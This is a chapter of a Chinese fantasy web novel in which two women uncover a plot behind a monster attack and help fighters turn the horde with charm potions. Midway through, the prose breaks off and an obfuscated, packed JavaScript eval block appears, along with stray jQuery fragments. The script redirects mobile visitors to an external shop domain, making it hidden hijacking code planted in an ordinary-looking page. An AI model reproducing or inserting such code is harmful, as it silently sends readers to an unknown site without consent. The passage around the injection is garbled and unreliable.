风从身后灌来,将两人吹得毛发杂乱。
艾尔娜将小乖又往斗篷深处揣了揣,问道:
“你说的话......到底是什么意思?”
薇莉安紧了紧包袱,神情有些凝重。
“魔兽是被人引来的。”
“什么?”
她侧身避开一块半垂落的木牌,低声道:“鲛人商团以探访为由在北街布置了许多魔气粘液,我的店里就有......就是因为有了那些东西,魔兽才能冲来北街肆虐。”
“是他们动的手脚?”艾尔娜脸色一白,“难道商业节就是为了......”
“有可能。”
薇莉安险险避开一名横冲直撞的兽人。
“兽鲛两族建交、紧接着北境就突生异动,直到现在魔兽冲街——这一切都太巧了。”
“你有什么头绪?”
迎面而来的人潮打断了谈话,两人在拥挤的人群中寸步难行。
艾尔娜余光瞥见一物,赶忙拽住了薇莉安。
“看那儿!”
薇莉安顺着她手指的方向看去。
——商铺旁的小巷处,正倚放着一个有些陈旧的木梯子。
两人对视一眼。
“走上面!”
.
脚下的瓦片在咯吱作响,薇莉安的视线从底下拥挤的人群重新移回前方,这才继续补充道:“那些粘液是伪装过的。”
“伪装过的?”
艾尔娜呼吸一乱。
“难道?”
薇莉安的声音有些低哑。
“魔气粘液不仅会引来魔兽,还会侵蚀心智,如果鲛族是始作俑者不可能不清楚,除非他们一开始就误会了那些粘液的用途。”
“更何况,鲛族根本就没理由害兽族至此——做这种事情对他们而言根本没有好处。”
屋顶凌冽的夜风刮得眼睛发干,艾尔娜有些不适地眨眨眼,将斗篷拢紧了几分,只觉得寒意侵心。
“是有人在操纵他们。”
回想一路以来无辜倒下的那些人,其中不乏有酒馆的老面孔,艾尔娜愤恨地咬紧了嘴唇,眼眶通红。
“我们都已经迁到边境了,为何还要......那可都是活生生的人命!”
藏在斗篷中的小乖有些不安地轻叫一声,用爪子轻轻推了推她的腰侧。
“他们到底想怎样。”
魔兽的怒嚎嘶吼声越来越近,可艾尔娜心底却没有先前那般恐惧,只有无尽的悲凉。
她轻轻抚了抚小乖的脑袋,压低声音问道:“你说现在去南边才是死路一条,你是不是猜到了什么?”
薇莉安点了点头。
“如果只是单纯为了杀戮——”她稍微喘了口气,声音被风吹得断断续续,“他们既能利用魔兽,就有千百种方法将我们全部困死在北街,何必要给我们留条活路。”
艾尔娜呼吸一窒,回想着奔逃以来的路线,终于发现了不对劲。“确实只有往南的路畅通无阻......”她将视线收回,喃喃道:“所以,他们是想将我们赶去南街?”
“这是一场围猎——南边才是他们真正的猎场。”
薇莉安忽地停下急促的呼吸,声音有些发轻。
“我们得回去找帮手。”
......
......
薇莉安和艾尔娜赶到时,各讨伐团正在合力围挡魔兽。
两人伏低身子趴在屋顶上观察战局。
魔兽群实在是过于庞大,他们无法顾及周全,总有漏网之鱼钻了空子往南边奔去。
“可恶!”
一名正撑着盾牌的战士,下意识看了那奔逃的魔兽一眼,就被眼前的魔兽瞬间抓住破绽,一掌拍飞。
那人手中盾牌掉落,口吐鲜血狠狠摔落在墙边,阵型霎时出现了漏洞,几头魔兽咆哮着便想从那处突破。
可防线并没有因此溃散。
几名本在游走补刀的战士顷刻间便飞身补上了阵型的空缺,合力将想冲破防线的魔兽打了回去。
“撑住!”
阵型中忽然传来一声怒吼。
“都打起精神来!我们一定要在族人撤离完之前将它们死死挡在这里!”
薇莉安几人循声望去,发现喊话的那人正是格恩。
他将格妮用一块麻布捆在了背上,单手持着巨斧,正一边紧盯着面前魔兽的动向,一边不断穿梭在阵型之中,调整着众人的站位。
.
艾尔娜探头望向那黑压压的魔兽群,却一不小心对上了它们嗜血凶残的目光。她猛地将身体伏低,小心翼翼地将头缩了回来,脸色苍白,连声音都不自觉放低了几分。
“现在我们回倒是回来了,但是看这情况......”
她忍不住又瞥了眼脚底的战况。
面对狂暴汹涌的魔兽潮,纵是此处已集结了边境所有身经百战的讨伐战士,也只是用命勉强拖住它们的脚步,根本没有多余的精力与其抗衡。
长时间的身心紧绷令他们早已出现疲态。
一个恍惚间,又有几名战士被魔兽重创,倒在地上生死不明。
.......
“就连他们都自身难保,我俩又能做什么?”
见此情形,就连一向冷静自持的艾尔娜都忍不住咬了咬指甲,“这么多魔兽根本就杀不完。”
“或许可以。”
艾尔娜手指微顿,神情有些诧异。
见薇莉安正一眨不眨地盯着魔兽群,她猛地压低了声音。
“真的?要怎么做?”
薇莉安的视线在那些嗜血的瞳孔间流转片刻后,忽然伸出手做了个拔东西的手势。
“魔兽能在北街肆虐是因为这里有‘锚’——只要将魔气粘液拔尽,它们就没有了威胁。”
“话是这么说,但要清理掉所有的粘液谈何容易?我们就连它们的位置在哪都不知道。”
薇莉安沉思片刻,眸色微暗。
“我或许有办法。”
.
还未等艾尔娜反应过来,她便补充道:“不过得先帮他们摆脱困局,才能拔‘锚’。”
正说着,脚下突然传来一阵剧烈的晃动,两人脸色一变,迅速扒紧屋檐,好歹没被晃下去。
待两人稳住身形,才发现原来是边上的一栋房子被魔兽撞塌,正燃着熊熊烈火。
情势刻不容缓,薇莉安咬牙半直起身子,将包袱中的那本书掏了出来。
“还记得我是靠卖什么发家的么?”
艾尔娜意识到什么,猛地张大了嘴巴。
书页骤然泛起金光。
瑟缩在艾尔娜怀中的小乖,瞧见动静,有些好奇地探出了脑袋。
——屋顶凭空生出了几十瓶药剂,正在月色的照耀下反射着淡粉色的流光。
......
......
与魔兽苦战许久的讨伐团众人早已狼狈不堪。
全身毛发都被血与汗浸湿,咸腥的汗液淌过身上大大小小的伤口,若是寻常人,怕是早就痛得跳起了脚。
可他们却只是微微打了个哆嗦,或再次沉了沉手上的重盾,或再次举起武器狠狠向前挥斩。
黑红的血液混着汗液,沿着脚踝潺潺往下流,在脚底的石板间汇成了一条小溪。
冰冷的月色给那些怪物镀上了一层银辉,却并没有垂怜它们脚下被阴影遮盖的勇士。
.
血腥气味愈发浓郁,格恩紧绷着的身体却忽地松了几分。
他垂下手中的巨斧,侧头问道:“怕吗?”
格妮从他背后探出半个脑袋,脸色苍白,眼眶带着些许红意。
“......不怕。”
格恩似是想摸摸她的头,可唯一的那只手正拿着武器。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855134|209160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他沉默片刻后,将格妮又往上颠了颠。
“哥对不起你。”
.
游走队员接二连三地倒下,就连坚如磐石的重盾也都被魔兽拍碎。巨大的冲击力袭来,阵型最前列的那几人皆口吐鲜血,摇晃着倒在了魔兽面前。
那些原本毫无人性,只会屠戮嗜血的怪物,在月色的映衬下却仿佛有了表情,正狞笑着,似是在嘲弄他们自不量力。
防线顷刻便被冲散。
格恩深深吐出一口气,举起巨斧,用尽全身的力气大喊:“兄弟们!跟它们拼了!!!”
众人怒吼着,举起武器便视死如归地往前冲去。
.
“等等!”
身后忽地传来一道叫停的声音。
几十道粉色的流光忽地穿破夜色来到众人眼前。
薇莉安生怕有人没听见,拼尽全身力气,以至于嗓子几乎都快要破音——
“都给我接好了!!!”
.
格恩下意识松开巨斧,飞身截下了一道粉色的流光。
在看清楚手里的东西后,他瞳孔猛地一震。
“魅惑药剂?”
电光火石间,他突然想到了什么,猛地举臂高呼,眼底再次燃起熊熊火焰。
——“全部后撤!!!”
不断有人接住药瓶,重复着相同的呼喊。
“后撤!!”
“快后撤!!”
冲势顷刻中止,众人拼尽全力往后撤离,速度比先前还要快上几分。
.
眼见最末尾之人也将魔兽甩开了好几个身位,格恩紧咬着牙关,将满腔愤恨都一股脑发泄了出来。
“都给我砸!!!!!”
数十瓶魅惑药剂再次划出粉色的弧线直奔魔兽而去——黑夜中相继传来玻璃碎裂的声音,魔兽群中顷刻晕开了一片粉意。
那些不慎被魅惑药剂淋了满头满脸的魔兽,甩了甩毛发便准备再次扑向众人,却忽然被身边数十名正留着涎液的“同伴”拦住了脚步。
——魔兽群的嘶吼声忽然停了,取而代之的是数十声凄厉的哀嚎。
它们彻底内乱了!
......
......
薇莉安提着两个麻袋就冲了过来,艾尔娜神情凝重地紧跟在她身侧。
纵然魔兽群正在内乱,格恩也不敢掉以轻心。他紧盯着魔兽群的动静,只匆匆瞥了她们一眼。
“你们回来做什么?”
两人来不及解释,只飞快地打开麻袋往外掏着药剂。
“这里很危险,快走!”格恩突然想到什么,蹲下身子,反手解开身上的布条。“帮我把格妮也带走!”
经过长时间的捆缚,格妮四肢早已发麻,几乎是刚一触及地面,她便整个人瘫软在了地上,连手都抬不起来。
“哥!!!”
似是明白了他的意思,格妮猛地哭嚎着:“我不要走!!!”
“听话!”
格恩回身看着她,伸手摸向腰间,却落了个空——自己的匕首早就丢在了花田。
他怔愣片刻,随后半跪下去,抬手按在格妮头顶。他声音很轻,轻得几乎要被魔兽的叫声盖过。
“你是我最后的家人了。”
格妮猛地僵住,眼泪一下子掉了下来。
.
“——有什么话等解决了这些魔兽再说。”
一道银光闪过,格恩下意识接过了薇莉安抛来的匕首。
“我们回来可不是为了和你们一起送死的。”
说完,薇莉安忽然看了艾尔娜一眼。
艾尔娜点点头,眼中满是坚定。
她从斗篷中抖落了一地的隐蔽叶,最后单手翻出一个火折子,丢落在药草上。
火舌卷起,浓烟窜出。
一股熟悉的药草味扑面而来,格恩瞳孔一缩。